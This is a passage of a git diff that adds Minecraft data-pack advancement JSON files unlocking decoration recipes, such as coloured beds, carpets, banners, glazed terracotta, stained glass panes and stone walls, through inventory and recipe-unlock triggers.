"rewards": { + "recipes": [ + "minecraft:pink_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_carpet.json b/src/data/minecraft/advancements/recipes/decorations/pink_carpet.json new file mode 100644 index 00000000..1beb31f9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_carpet" + ] + }, + "criteria": { + "has_pink_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_carpet" + } + } + }, + "requirements": [ + [ + "has_pink_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/pink_carpet_from_white_carpet.json new file mode 100644 index 00000000..5074eebd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_pink_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_pink_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/pink_glazed_terracotta.json new file mode 100644 index 00000000..812a386c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_glazed_terracotta" + ] + }, + "criteria": { + "has_pink_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_pink_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/pink_stained_glass_pane.json new file mode 100644 index 00000000..0e6ddd66 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/pink_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/pink_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..e78da85e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/pink_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pink_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_pink_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pink_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pink_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_pink_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall.json b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall.json new file mode 100644 index 00000000..3db863fb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_wall" + ] + }, + "criteria": { + "has_polished_blackstone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_wall" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_blackstone_stonecutting.json new file mode 100644 index 00000000..7ab981d8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_wall_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_wall_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting.json new file mode 100644 index 00000000..9c2c46c6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_wall_from_polished_blackstone_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..41de1623 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_brick_wall_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_brick_wall_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_brick_wall_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall.json b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall.json new file mode 100644 index 00000000..df00af26 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_wall" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_wall" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall_from_blackstone_stonecutting.json new file mode 100644 index 00000000..bf246112 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_wall_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_wall_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..b745fe26 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/polished_blackstone_wall_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_wall_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_wall_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/prismarine_wall.json b/src/data/minecraft/advancements/recipes/decorations/prismarine_wall.json new file mode 100644 index 00000000..ddaa2131 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/prismarine_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_wall" + ] + }, + "criteria": { + "has_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_wall" + } + } + }, + "requirements": [ + [ + "has_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/prismarine_wall_from_prismarine_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/prismarine_wall_from_prismarine_stonecutting.json new file mode 100644 index 00000000..df350693 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/prismarine_wall_from_prismarine_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_wall_from_prismarine_stonecutting" + ] + }, + "criteria": { + "has_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_wall_from_prismarine_stonecutting" + } + } + }, + "requirements": [ + [ + "has_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_banner.json b/src/data/minecraft/advancements/recipes/decorations/purple_banner.json new file mode 100644 index 00000000..94698c8c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_banner" + ] + }, + "criteria": { + "has_purple_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_banner" + } + } + }, + "requirements": [ + [ + "has_purple_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_bed.json b/src/data/minecraft/advancements/recipes/decorations/purple_bed.json new file mode 100644 index 00000000..38cf849a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_bed" + ] + }, + "criteria": { + "has_purple_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_bed" + } + } + }, + "requirements": [ + [ + "has_purple_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/purple_bed_from_white_bed.json new file mode 100644 index 00000000..27b6c5c5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_carpet.json b/src/data/minecraft/advancements/recipes/decorations/purple_carpet.json new file mode 100644 index 00000000..7c93af4f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_carpet" + ] + }, + "criteria": { + "has_purple_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_carpet" + } + } + }, + "requirements": [ + [ + "has_purple_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/purple_carpet_from_white_carpet.json new file mode 100644 index 00000000..bd9e8193 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_purple_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_purple_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/purple_glazed_terracotta.json new file mode 100644 index 00000000..bed00214 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_glazed_terracotta" + ] + }, + "criteria": { + "has_purple_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_purple_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/purple_stained_glass_pane.json new file mode 100644 index 00000000..0131c477 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/purple_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/purple_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..8415e8b2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/purple_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_stained_glass_pane_from_glass_pane" + ] + }, + "criteria": { + "has_glass_pane": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass_pane" + } + ] + } + }, + "has_purple_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purple_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_stained_glass_pane_from_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass_pane", + "has_purple_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_banner.json b/src/data/minecraft/advancements/recipes/decorations/red_banner.json new file mode 100644 index 00000000..8813d6f3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_banner" + ] + }, + "criteria": { + "has_red_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_banner" + } + } + }, + "requirements": [ + [ + "has_red_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_bed.json b/src/data/minecraft/advancements/recipes/decorations/red_bed.json new file mode 100644 index 00000000..b742ef4e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_bed" + ] + }, + "criteria": { + "has_red_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_bed" + } + } + }, + "requirements": [ + [ + "has_red_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/red_bed_from_white_bed.json new file mode 100644 index 00000000..5ab9bce2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_bed" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_bed_from_white_bed" + } + } + }, + "requirements": [ + [ + "has_bed", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_carpet.json b/src/data/minecraft/advancements/recipes/decorations/red_carpet.json new file mode 100644 index 00000000..de6c1c44 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_carpet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_carpet" + ] + }, + "criteria": { + "has_red_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_carpet" + } + } + }, + "requirements": [ + [ + "has_red_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_carpet_from_white_carpet.json b/src/data/minecraft/advancements/recipes/decorations/red_carpet_from_white_carpet.json new file mode 100644 index 00000000..33017f26 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_carpet_from_white_carpet.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_carpet_from_white_carpet" + ] + }, + "criteria": { + "has_white_carpet": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_carpet" + } + ] + } + }, + "has_red_dye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_dye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_carpet_from_white_carpet" + } + } + }, + "requirements": [ + [ + "has_white_carpet", + "has_red_dye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_glazed_terracotta.json b/src/data/minecraft/advancements/recipes/decorations/red_glazed_terracotta.json new file mode 100644 index 00000000..4de96ce4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_glazed_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_glazed_terracotta" + ] + }, + "criteria": { + "has_red_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_glazed_terracotta" + } + } + }, + "requirements": [ + [ + "has_red_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_nether_brick_wall.json b/src/data/minecraft/advancements/recipes/decorations/red_nether_brick_wall.json new file mode 100644 index 00000000..f0b1d7f3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_nether_brick_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_nether_brick_wall" + ] + }, + "criteria": { + "has_red_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_nether_brick_wall" + } + } + }, + "requirements": [ + [ + "has_red_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_nether_brick_wall_from_red_nether_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/red_nether_brick_wall_from_red_nether_bricks_stonecutting.json new file mode 100644 index 00000000..52642c84 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_nether_brick_wall_from_red_nether_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_nether_brick_wall_from_red_nether_bricks_stonecutting" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_nether_brick_wall_from_red_nether_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_sandstone_wall.json b/src/data/minecraft/advancements/recipes/decorations/red_sandstone_wall.json new file mode 100644 index 00000000..a92b40b8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_sandstone_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_sandstone_wall" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_sandstone_wall" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_sandstone_wall_from_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/red_sandstone_wall_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..2fde1336 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_sandstone_wall_from_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_sandstone_wall_from_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_sandstone_wall_from_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_stained_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/red_stained_glass_pane.json new file mode 100644 index 00000000..b0a4a60a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_stained_glass_pane.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_stained_glass_pane" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_stained_glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_stained_glass_pane" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/red_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/advancements/recipes/decorations/red_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..c04d5805 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/red_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,43 @@ 